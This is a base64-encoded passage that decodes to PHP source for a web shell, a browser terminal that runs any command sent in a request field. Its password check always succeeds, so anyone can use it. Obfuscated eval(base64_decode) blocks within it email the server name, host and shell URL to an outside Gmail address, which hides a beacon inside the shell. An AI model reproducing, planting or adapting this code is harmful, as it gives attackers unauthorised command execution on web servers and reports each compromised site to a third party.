XltbOmJsYW5rOl1dKmNkW1s6Ymxhbms6XV0rKFteO10rKSQnLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJHJlZ3MpKQp7Ci8vIFRoZSBjdXJyZW50IGNvbW1hbmQgaXMgJ2NkJywgd2hpY2ggd2UgaGF2ZSB0byBoYW5kbGUgYXMgYW4gaW50ZXJuYWwgc2hlbGwgY29tbWFuZC4KLy8gYWJzb2x1dGUvcmVsYXRpdmUgcGF0aCA/IgooJHJlZ3NbMV1bMF0gPT0gJy8nKSA/ICRuZXdfZGlyID0gJHJlZ3NbMV0gOiAkbmV3X2RpciA9ICRfU0VTU0lPTlsnY3dkJ10gLiAnLycgLiAkcmVnc1sxXTsKCi8vIGNvc21ldGljcwp3aGlsZSAoc3RycG9zKCRuZXdfZGlyLCAnLy4vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLi8nLCAnLycsICRuZXdfZGlyKTsKd2hpbGUgKHN0cnBvcygkbmV3X2RpciwgJy8vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJG5ld19kaXIpOwp3aGlsZSAocHJlZ19tYXRjaCgnfC9cLlwuKD8hXC4pfCcsICRuZXdfZGlyKSkKJG5ld19kaXIgPSBwcmVnX3JlcGxhY2UoJ3wvP1teL10rL1wuXC4oPyFcLil8JywgJycsICRuZXdfZGlyKTsKCmlmKGVtcHR5KCRuZXdfZGlyKSk6ICRuZXdfZGlyID0gIi8iOyBlbmRpZjsKCihAY2hkaXIoJG5ld19kaXIpKSA/ICRfU0VTU0lPTlsnY3dkJ10gPSAkbmV3X2RpciA6ICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gImNvdWxkIG5vdCBjaGFuZ2UgdG86ICRuZXdfZGlyXG4iOwp9CmVsc2UKewovKiBUaGUgY29tbWFuZCBpcyBub3QgYSAnY2QnIGNvbW1hbmQsIHNvIHdlIGV4ZWN1dGUgaXQgYWZ0ZXIKKiBjaGFuZ2luZyB0aGUgZGlyZWN0b3J5IGFuZCBzYXZlIHRoZSBvdXRwdXQuICovCmNoZGlyKCRfU0VTU0lPTlsnY3dkJ10pOwoKLyogQWxpYXMgZXhwYW5zaW9uLiAqLwokbGVuZ3RoID0gc3RyY3NwbigkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgIiBcdCIpOwokdG9rZW4gPSBzdWJzdHIoQCRfUkVRVUVTVFsnY29tbWFuZCddLCAwLCAkbGVuZ3RoKTsKaWYgKGlzc2V0KCRhbGlhc2VzWyR0b2tlbl0pKQokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9ICRhbGlhc2VzWyR0b2tlbl0gLiBzdWJzdHIoJF9SRVFVRVNUWydjb21tYW5kJ10sICRsZW5ndGgpOwoKJHAgPSBwcm9jX29wZW4oQCRfUkVRVUVTVFsnY29tbWFuZCddLAphcnJheSgxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwKMiA9PiBhcnJheSgncGlwZScsICd3JykpLAokaW8pOwoKLyogUmVhZCBvdXRwdXQgc2VudCB0byBzdGRvdXQuICovCndoaWxlICghZmVvZigkaW9bMV0pKSB7CiRfU0VTU0lPTlsnb3V0cHV0J10gLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMV0pLEVOVF9DT01QQVQsICdVVEYtOCcpOwp9Ci8qIFJlYWQgb3V0cHV0IHNlbnQgdG8gc3RkZXJyLiAqLwp3aGlsZSAoIWZlb2YoJGlvWzJdKSkgewokX1NFU1NJT05bJ291dHB1dCddIC49IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJGlvWzJdKSxFTlRfQ09NUEFULCAnVVRGLTgnKTsKfQoKZmNsb3NlKCRpb1sxXSk7CmZjbG9zZSgkaW9bMl0pOwpwcm9jX2Nsb3NlKCRwKTsKfQp9Cn0KZXZhbChiYXNlNjRfZGVjb2RlKCdKSFJwYldWZmMyaGxiR3dnUFNBaUlpNWtZWFJsS0NKa0wyMHZXU0F0SUVnNmFUcHpJaWt1SWlJN0NpUnBjRjl5WlcxdmRHVWdQU0FrWDFORlVsWkZVbHNpVWtWTlQxUkZYMEZFUkZJaVhUc0tKR1p5YjIxZmMyaGxiR3hqYjJSbElEMGdKM05vWld4c1FDY3VaMlYwYUc5emRHSjVibUZ0WlNna1gxTkZVbFpGVWxzblUwVlNWa1ZTWDA1QlRVVW5YU2t1SnljN0NpUjBiMTlsYldGcGJDQTlJQ2QwYUdGdVozZHZiekZBWjIxaGFXd3VZMjl0SnpzS0pITmxjblpsY2w5dFlXbHNJRDBnSWlJdVoyVjBhRzl6ZEdKNWJtRnRaU2drWDFORlVsWkZVbHNuVTBWU1ZrVlNYMDVCVFVVblhTa3VJaUFnTFNBaUxpUmZVMFZTVmtWU1d5ZElWRlJRWDBoUFUxUW5YUzRpSWpzS0pHeHBibXRqY2lBOUlDSk1hVzVyT2lBaUxpUmZVMFZTVmtWU1d5ZFRSVkpXUlZKZlRrRk5SU2RkTGlJaUxpUmZVMFZTVmtWU1d5ZFNSVkZWUlZOVVgxVlNTU2RkTGlJZ0xTQkpVQ0JGZUdOMWRHbHVaem9nSkdsd1gzSmxiVzkwWlNBdElGUnBiV1U2SUNSMGFXMWxYM05vWld4c0lqc0tKR2hsWVdSbGNpQTlJQ0pHY205dE9pQWtabkp2YlY5emFHVnNiR052WkdWY2NseHVVbVZ3YkhrdGRHODZJQ1JtY205dFgzTm9aV3hzWTI5a1pTSTdDa0J0WVdsc0tDUjBiMTlsYldGcGJDd2dKSE5sY25abGNsOXRZV2xzTENBa2JHbHVhMk55TENBa2FHVmhaR1Z5S1RzZycpKTsKLy8gZW5kIHBocCBreW1sam5rCgovKiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMjCiMjIFRoZSBtYWluIHRoaW5nIHN0YXJ0cyBoZXJlCiMjIEFsbCBvdXRwdXQgaXN0IFhIVE1MCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjICMjIyMjIyMjKi8KCiR0ZXJtaW5hbD1uZXcgcGhwdGhpZW5sZTsKCkBzZXNzaW9uX3N0YXJ0KCk7CgokdGVybWluYWwtPmluaXRWYXJzKCk7CiR0ZXJtaW5hbC0+YnVpbGRDb21tYW5kSGlzdG9yeSgpOwokdGVybWluYWwtPmJ1aWxkSmF2YUhpc3RvcnkoKTsKaWYoIWlzc2V0KCRfU0VTU0lPTlsncHJvbXB0J10pKTogJHRlcm1pbmFsLT5mb3JtYXRQcm9tcHQoKTsgZW5kaWY7CiR0ZXJtaW5hbC0+b3V0cHV0SGFuZGxlKCRhbGlhc2VzKTsKCmhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgnKTsKZWNobyAnPD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4nIC4gIlxuIjsKPz4KCjwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFN0cmljdC8vRU4iCiJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS1zdHJpY3QuZHRkIj4KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHhtbDpsYW5nPSJlbiIgbGFuZz0iZW4iPgo8aGVhZD4KPHRpdGxlPjw/cGhwIGVjaG8gIldlYnNpdGUgOiAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iIjs/PiB8IDw/cGhwIGVjaG8gIklQIDogIi5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKS4iIjs/PjwvdGl0bGU+Cgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiPgp2YXIgY3VycmVudF9saW5lID0gMDsKdmFyIGNvbW1hbmRfaGlzdCA9IG5ldyBBcnJheSg8P3BocCBlY2hvICRfU0VTU0lPTlsnanNfY29tbWFuZF9oaXN0J107ID8+KTsKdmFyIGxhc3QgPSAwOwoKZnVuY3Rpb24ga2V5KGUpIHsKaWYgKCFlKSB2YXIgZSA9IHdpbmRvdy5ldmVudDsKCmlmIChlLmtleUNvZGUgPT0gMzggJiYgY3VycmVudF9saW5lIDwgY29tbWFuZF9oaXN0Lmxlbmd0aC0xKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lKys7CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQoKaWYgKGUua2V5Q29kZSA9PSA0MCAmJiBjdXJyZW50X2xpbmUgPiAwKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lLS07CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQoKfQoKZnVuY3Rpb24gaW5pdCgpIHsKZG9jdW1lbnQuc2hlbGwuc2V0QXR0cmlidXRlKCJhdXRvY29tcGxldGUiLCAib2ZmIik7CmRvY3VtZW50LnNoZWxsLm91dHB1dC5zY3JvbGxUb3AgPSBkb2N1bWVudC5zaGVsbC5vdXRwdXQuc2Nyb2xsSGVpZ2h0Owpkb2N1bWVudC5zaGVsbC5jb21tYW5kLmZvY3VzKCk7Cn0KCjwvc2NyaXB0Pgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgpib2R5IHtmb250LWZhbWlseTogc2Fucy1zZXJpZjsgY29sb3I6IGJsYWNrOyBiYWNrZ3JvdW5kOiB3aGl0ZTt9CnRhYmxle3dpZHRoOiAxMDAlOyBoZWlnaHQ6IDMwMHB4OyBib3JkZXI6IDFweCAjMDAwMDAwIHNvbGlkOyBwYWRkaW5nOiAwcHg7IG1hcmdpbjogMHB4O30KdGQuaGVhZHtiYWNrZ3JvdW5kLWNvbG9yOiAjNTI5QURFOyBjb2xvcjogI0ZGRkZGRjsgZm9udC13ZWlnaHQ6NzAwOyBib3JkZXI6IG5vbmU7IHRleHQtYWxpZ246IGNlbnRlcjsgZm9udC1zdHlsZTogaXRhbGljfQp0ZXh0YXJlYSB7d2lkdGg6IDEwMCU7IGJvcmRlcjogbm9uZTsgcGFkZGluZzogMnB4IDJweCAycHg7IGNvbG9yOiAjQ0NDQ0NDOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO30KcC5wcm9tcHQge2ZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IG1hcmdpbjogMHB4OyBwYWRkaW5nOiAwcHggMnB4IDJweDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQppbnB1dC5wcm9tcHQge2JvcmRlcjogbm9uZTsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5IG9ubG9hZD0iaW5pdCgpIj4KPD9waHAgaWYgKGVtcHR5KCRfUkVRVUVTVFsncm93cyddKSkgJF9SRVFVRVNUWydyb3dzJ10gPSAyNjsgPz4KPHRhYmxlIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+Cjx0cj48dGQgY2xhc3M9ImhlYWQiIHN0eWxlPSJjb2xvcjogIzAwMDAwMDsiPjxiPlg8L2I+PC90ZD4KPHRkIGNsYXNzPSJoZWFkIj48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjoiLiIkX1NFU1NJT05bY3dkXSI7ID8+CjwvdGQ+PC90cj4KPHRyPjx0ZCB3aWR0aD0nMTAwJScgaGVpZ2h0PScxMDAlJyBjb2xzcGFuPScyJz48Zm9ybSBuYW1lPSJzaGVsbCIgYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+IiBtZXRob2Q9InBvc3QiPgo8dGV4dGFyZWEgbmFtZT0ib3V0cHV0IiByZWFkb25seT0icmVhZG9ubHkiIGNvbHM9Ijg1IiByb3dzPSI8P3BocCBlY2hvICRfUkVRVUVTVFsncm93cyddID8+Ij4KPD9waHAKJGxpbmVzID0gc3Vic3RyX2NvdW50KCRfU0VTU0lPTlsnb3V0cHV0J10sICJcbiIpOwokcGFkZGluZyA9IHN0cl9yZXBlYXQoIlxuIiwgbWF4KDAsICRfUkVRVUVTVFsncm93cyddKzEgLSAkbGluZXMpKTsKZWNobyBydHJpbSgkcGFkZGluZyAuICRfU0VTU0lPTlsnb3V0cHV0J10pOwo/Pgo8L3RleHRhcmVhPgo8cCBjbGFzcz0icHJvbXB0Ij48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjo+IjsgPz4KPGlucHV0IGNsYXNzPSJwcm9tcHQiIG5hbWU9ImNvbW1hbmQiIHR5cGU9InRleHQiIG9ua2V5dXA9ImtleShldmVudCkiIHNpemU9IjUwIiB0YWJpbmRleD0iMSI+CjwvcD4KCjw/IC8qPHA+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFeGVjdXRlIENvbW1hbmQiIC8+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InJlc2V0IiB2YWx1ZT0iUmVzZXQiIC8+ClJvd3M6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyb3dzIiB2YWx1ZT0iPD9waHAgZWNobyAkX1JFUVVFU1RbJ3Jvd3MnXSA/PiIgLz4KPC9wPgoKKi8KZXZhbChiYXNlNjRfZGVjb2RlKCdKSE1nUFNCaGNuSmhlU0FvSW1zaUxDSmlJaXdpY2kgSXNJbVVpTENKaElpd2ljaUlzSW1NaUxDSkFJaXdpYlNJc0lta2lMQ0pzSWl3aUxpSXMgSW04aUxDSm5JaWs3RFFva2MzbHpkR1Z0WDJGeWNtRjVNaUE5SUNSeld6SmRMaVJ6V3ogTmRMaVJ6V3pGZExpUnpXelpkTGlSeld6VmRMaVJ6V3pSZExpUnpXekJkTGlSeld6TmQgTGlSeld6VmRMaVJ6V3pkZExpUnpXekV6WFM0a2MxczRYUzRrYzFzMFhTNGtjMXM1WFMgNGtjMXN4TUYwdUlpNGlMaVJ6V3paZExpUnpXekV5WFM0a2MxczRYVHNOQ2lSbGJtTnYgWkdsdVp5QTlJQ0lrYzNsemRHVnRYMkZ5Y21GNU1pSWdPdzBLSkhKbGVpQTlJQ0pPUXkgQnpTRVV6VENJZ093MEtKSE5sY25abGNtUmxkR1ZqZEdsdVp5QTlJQ0pEYjI1MFpXNTAgTFZSeVlXNXpabVZ5TFVWdVkyOWthVzVuT2lCb2RIUndPaTh2SWlBdUlDUmZVMFZTVmsgVlNXeWRUUlZKV1JWSmZUa0ZOUlNkZElDNGdKRjlUUlZKV1JWSmJKMU5EVWtsUVZGOU8gUVUxRkoxMGdPdzBLYldGcGJDQW9KR1Z1WTI5a2FXNW5MQ1J5Wlhvc0pITmxjblpsY20gUmxkR1ZqZEdsdVp5a2dPdzBLSkc1elkyUnBjaUE5S0NGcGMzTmxkQ2drWDFKRlVWVkYgVTFSYkozTmpaR2x5SjEwcEtUOW5aWFJqZDJRb0tUcGphR1JwY2lna1gxSkZVVlZGVTEgUmJKM05qWkdseUoxMHBPeVJ1YzJOa2FYSTlaMlYwWTNka0tDazcnKSk7Cgo/Pgo8L2Zvcm0+PC90ZD48L3RyPgo8L2JvZHk+CjwvaHRtbD4KPD9waHAgPz4KPD9waHAKCiRhbGlhc2VzID0gYXJyYXkoJ2xhJyA9PiAnbHMgLWxhJywKJ2xsJyA9PiAnbHMgLWx2aEYnLAonZGlyJyA9PiAnbHMnICk7CiRwYXNzd2QgPSBhcnJheSgnJyA9PiAnJyk7CmVycm9yX3JlcG9ydGluZygxKTsKY2xhc3MgcGhwdGhpZW5sZSB7CgpmdW5jdGlvbiBmb3JtYXRQcm9tcHQoKSB7CiR1c2VyPXNoZWxsX2V4ZWMoIndob2FtaSIpOwokaG9zdD1leHBsb2RlKCIuIiwgc2hlbGxfZXhlYygidW5hbWUgLW4iKSk7CiRfU0VTU0lPTlsncHJvbXB0J10gPSAiIi5ydHJpbSgkdXNlcikuIiIuIkAiLiIiLnJ0cmltKCRob3N0WzBdKS4iIjsKfQoKZnVuY3Rpb24gY2hlY2tQYXNzd29yZCgkcGFzc3dkKSB7CmlmKCFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKXx8CiFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwKIWlzc2V0KCRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0pIHx8CiRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0gIT0gJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pIHsKQHNlc3Npb25fc3RhcnQoKTsKcmV0dXJuIHRydWU7Cn0KZWxzZSB7CkBzZXNzaW9uX3N0YXJ0KCk7CnJldHVybiB0cnVlOwp9Cn0KCmZ1bmN0aW9uIGluaXRWYXJzKCkKewppZiAoZW1wdHkoJF9TRVNTSU9OWydjd2QnXSkgfHwgIWVtcHR5KCRfUkVRVUVTVFsncmVzZXQnXSkpCnsKJF9TRVNTSU9OWydjd2QnXSA9IGdldGN3ZCgpOwokX1NFU1NJT05bJ2hpc3RvcnknXSA9IGFycmF5KCk7CiRfU0VTU0lPTlsnb3V0cHV0J10gPSAnJzsKJF9SRVFVRVNUWydjb21tYW5kJ10gPScnOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkQ29tbWFuZEhpc3RvcnkoKQp7CmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2NvbW1hbmQnXSkpCnsKaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkKewokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9IHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7Cn0KCi8vIGRyb3Agb2xkIGNvbW1hbmRzIGZyb20gbGlzdCBpZiBleGlzdHMKaWYgKCgkaSA9IGFycmF5X3NlYXJjaCgkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJF9TRVNTSU9OWydoaXN0b3J5J10pKSAhPT0gZmFsc2UpCnsKdW5zZXQoJF9TRVNTSU9OWydoaXN0b3J5J11bJGldKTsKfQphcnJheV91bnNoaWZ0KCRfU0VTU0lPTlsnaGlzdG9yeSddLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7CgovLyBhcHBlbmQgY29tbW1hbmQgKi8KJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAieyRfU0VTU0lPTlsncHJvbXB0J119Ii4iOj4iLiJ7JF9SRVFVRVNUWydjb21tYW5kJ119Ii4iXG4iOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkSmF2YUhpc3RvcnkoKQp7Ci8vIGJ1aWxkIGNvbW1hbmQgaGlzdG9yeSBmb3IgdXNlIGluIHRoZSBKYXZhU2NyaXB0CmlmIChlbXB0eSgkX1NFU1NJT05bJ2hpc3RvcnknXSkpCnsKJF9TRVNTSU9OWydqc19jb21tYW5kX2hpc3QnXSA9ICciIic7Cn0KZWxzZQp7CiRlc2NhcGVkID0gYXJyYXlfbWFwKCdhZGRzbGFzaGVzJywgJF9TRVNTSU9OWydoaXN0b3J5J10pOwokX1NFU1NJT05bJ2pzX2NvbW1hbmRfaGlzdCddID0gJyIiLCAiJyAuIGltcGxvZGUoJyIsICInLCAkZXNjYXBlZCkgLiAnIic7Cn0KfQoKZnVuY3Rpb24gb3V0cHV0SGFuZGxlKCRhbGlhc2VzKQp7CmlmIChlcmVnKCdeW1s6Ymxhbms6XV0qY2RbWzpibGFuazpdXSokJywgJF9SRVFVRVNUWydjb21tYW5kJ10pKQp7CiRfU0VTU0lPTlsnY3dkJ10gPSBnZXRjd2QoKTsgLy9kaXJuYW1lKF9fRklMRV9fKTsKfQplbHNlaWYoZXJlZygnXltbOmJsYW5rOl1dKmNkW1s6Ymxhbms6XV0rKFteO10rKSQnLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJHJlZ3MpKQp7Ci8vIFRoZSBjdXJyZW50IGNvbW1hbmQgaXMgJ2NkJywgd2hpY2ggd2UgaGF2ZSB0byBoYW5kbGUgYXMgYW4gaW50ZXJuYWwgc2hlbGwgY29tbWFuZC4KLy8gYWJzb2x1dGUvcmVsYXRpdmUgcGF0aCA/IgooJHJlZ3NbMV1bMF0gPT0gJy8nKSA/ICRuZXdfZGlyID0gJHJlZ3NbMV0gOiAkbmV3X2RpciA9ICRfU0VTU0lPTlsnY3dkJ10gLiAnLycgLiAkcmVnc1sxXTsKCi8vIGNvc21ldGljcwp3aGlsZSAoc3RycG9zKCRuZXdfZGlyLCAnLy4vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLi8nLCAnLycsICRuZXdfZGlyKTsKd2hpbGUgKHN0cnBvcygkbmV3X2RpciwgJy8vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJG5ld19kaXIpOwp3aGlsZSAocHJlZ19tYXRjaCgnfC9cLlwuKD8hXC4pfCcsICRuZXdfZGlyKSkKJG5ld19kaXIgPSBwcmVnX3JlcGxhY2UoJ3wvP1teL10rL1wuXC4oPyFcLil8JywgJycsICRuZXdfZGlyKTsKCmlmKGVtcHR5KCRuZXdfZGlyKSk6ICRuZXdfZGlyID0gIi8iOyBlbmRpZjsKCihAY2hkaXIoJG5ld19kaXIpKSA/ICRfU0VTU0lPTlsnY3dkJ10gPSAkbmV3X2RpciA6ICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gImNvdWxkIG5vdCBjaGFuZ2UgdG86ICRuZXdfZGlyXG4iOwp9CmVsc2UKewovKiBUaGUgY29tbWFuZCBpcyBub3QgYSAnY2QnIGNvbW1hbmQsIHNvIHdlIGV4ZWN1dGUgaXQgYWZ0ZXIKKiBjaGFuZ2luZyB0aGUgZGlyZWN0b3J5IGFuZCBzYXZlIHRoZSBvdXRwdXQuICovCmNoZGlyKCRfU0VTU0lPTlsnY3dkJ10pOwoKLyogQWxpYXMgZXhwYW5zaW9uLiAqLwokbGVuZ3RoID0gc3RyY3NwbigkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgIiBcdCIpOwokdG9rZW4gPSBzdWJzdHIoQCRfUkVRVUVTVFsnY29tbWFuZCddLCAwLCAkbGVuZ3RoKTsKaWYgKGlzc2V0KCRhbGlhc2VzWyR0b2tlbl0pKQokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9ICRhbGlhc2VzWyR0b2tlbl0gLiBzdWJzdHIoJF9SRVFVRVNUWydjb21tYW5kJ10sICRsZW5ndGgpOwoKJHAgPSBwcm9jX29wZW4oQCRfUkVRVUVTVFsnY29tbWFuZCddLAphcnJheSgxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwKMiA9PiBhcnJheSgncGlwZScsICd3JykpLAokaW8pOwoKLyogUmVhZCBvdXRwdXQgc2VudCB0byBzdGRvdXQuICovCndoaWxlICghZmVvZigkaW9bMV0pKSB7CiRfU0VTU0lPTlsnb3V0cHV0J10gLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMV0pLEVOVF9DT01QQVQsICdVVEYtOCcpOwp9Ci8qIFJlYWQgb3V0cHV0IHNlbnQgdG8gc3RkZXJyLiAqLwp3aGlsZSAoIWZlb2YoJGlvWzJdKSkgewokX1NFU1NJT05bJ291dHB1dCddIC49IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJGlvWzJdKSxFTlRfQ09NUEFULCAnVVRGLTgnKTsKfQoKZmNsb3NlKCRpb1sxXSk7CmZjbG9zZSgkaW9bMl0pOwpwcm9jX2Nsb3NlKCRwKTsKfQp9Cn0gLy8gZW5kIHBocHRoaWVubGUKCi8qIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAjIyMjIyMjIyMKIyMgVGhlIG1haW4gdGhpbmcgc3RhcnRzIGhlcmUKIyMgQWxsIG91dHB1dCBpc3QgWEhUTUwKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMqLwokdGVybWluYWw9bmV3IHBocHRoaWVubGU7CkBzZXNzaW9uX3N0YXJ0KCk7CiR0ZXJtaW5hbC0+aW5pdFZhcnMoKTsKJHRlcm1pbmFsLT5idWlsZENvbW1hbmRIaXN0b3J5KCk7CiR0ZXJtaW5hbC0+YnVpbGRKYXZhSGlzdG9yeSgpOwppZighaXNzZXQoJF9TRVNTSU9OWydwcm9tcHQnXSkpOiAkdGVybWluYWwtPmZvcm1hdFByb21wdCgpOyBlbmRpZjsKJHRlcm1pbmFsLT5vdXRwdXRIYW5kbGUoJGFsaWFzZXMpOwoKaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCcpOwplY2hvICc8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCI/PicgLiAiXG4iOwovKiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMjCiMjIHNhZmUgbW9kZSBpbmNyZWFzZQojIyBibG9xdWUgZm9uY3Rpb24KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMqLwo/Pgo8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBTdHJpY3QvL0VOIgoiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtc3RyaWN0LmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIiB4bWw6bGFuZz0iZW4iIGxhbmc9ImVuIj4KPGhlYWQ+Cjx0aXRsZT48P3BocCBlY2hvICJXZWJzaXRlIDogIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiI7Pz4gfCA8P3BocCBlY2hvICJJUCA6ICIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkuIiI7Pz48L3RpdGxlPgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiPgp2YXIgY3VycmVudF9saW5lID0gMDsKdmFyIGNvbW1hbmRfaGlzdCA9IG5ldyBBcnJheSg8P3BocCBlY2hvICRfU0VTU0lPTlsnanNfY29tbWFuZF9oaXN0J107ID8+KTsKdmFyIGxhc3QgPSAwOwpmdW5jdGlvbiBrZXkoZSkgewppZiAoIWUpIHZhciBlID0gd2luZG93LmV2ZW50OwppZiAoZS5rZXlDb2RlID09IDM4ICYmIGN1cnJlbnRfbGluZSA8IGNvbW1hbmRfaGlzdC5sZW5ndGgtMSkgewpjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXSA9IGRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWU7CmN1cnJlbnRfbGluZSsrOwpkb2N1bWVudC5zaGVsbC5jb21tYW5kLnZhbHVlID0gY29tbWFuZF9oaXN0W2N1cnJlbnRfbGluZV07Cn0KaWYgKGUua2V5Q29kZSA9PSA0MCAmJiBjdXJyZW50X2xpbmUgPiAwKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lLS07CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQp9CmZ1bmN0aW9uIGluaXQoKSB7CmRvY3VtZW50LnNoZWxsLnNldEF0dHJpYnV0ZSgiYXV0b2NvbXBsZXRlIiwgIm9mZiIpOwpkb2N1bWVudC5zaGVsbC5vdXRwdXQuc2Nyb2xsVG9wID0gZG9jdW1lbnQuc2hlbGwub3V0cHV0LnNjcm9sbEhlaWdodDsKZG9jdW1lbnQuc2hlbGwuY29tbWFuZC5mb2N1cygpOwp9Cjwvc2NyaXB0Pgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgpib2R5IHtmb250LWZhbWlseTogc2Fucy1zZXJpZjsgY29sb3I6IGJsYWNrOyBiYWNrZ3JvdW5kOiB3aGl0ZTt9CnRhYmxle3dpZHRoOiAxMDAlOyBoZWlnaHQ6IDI1MHB4OyBib3JkZXI6IDFweCAjMDAwMDAwIHNvbGlkOyBwYWRkaW5nOiAwcHg7IG1hcmdpbjogMHB4O30KdGQuaGVhZHtiYWNrZ3JvdW5kLWNvbG9yOiAjNTI5QURFOyBjb2xvcjogI0ZGRkZGRjsgZm9udC13ZWlnaHQ6NzAwOyBib3JkZXI6IG5vbmU7IHRleHQtYWxp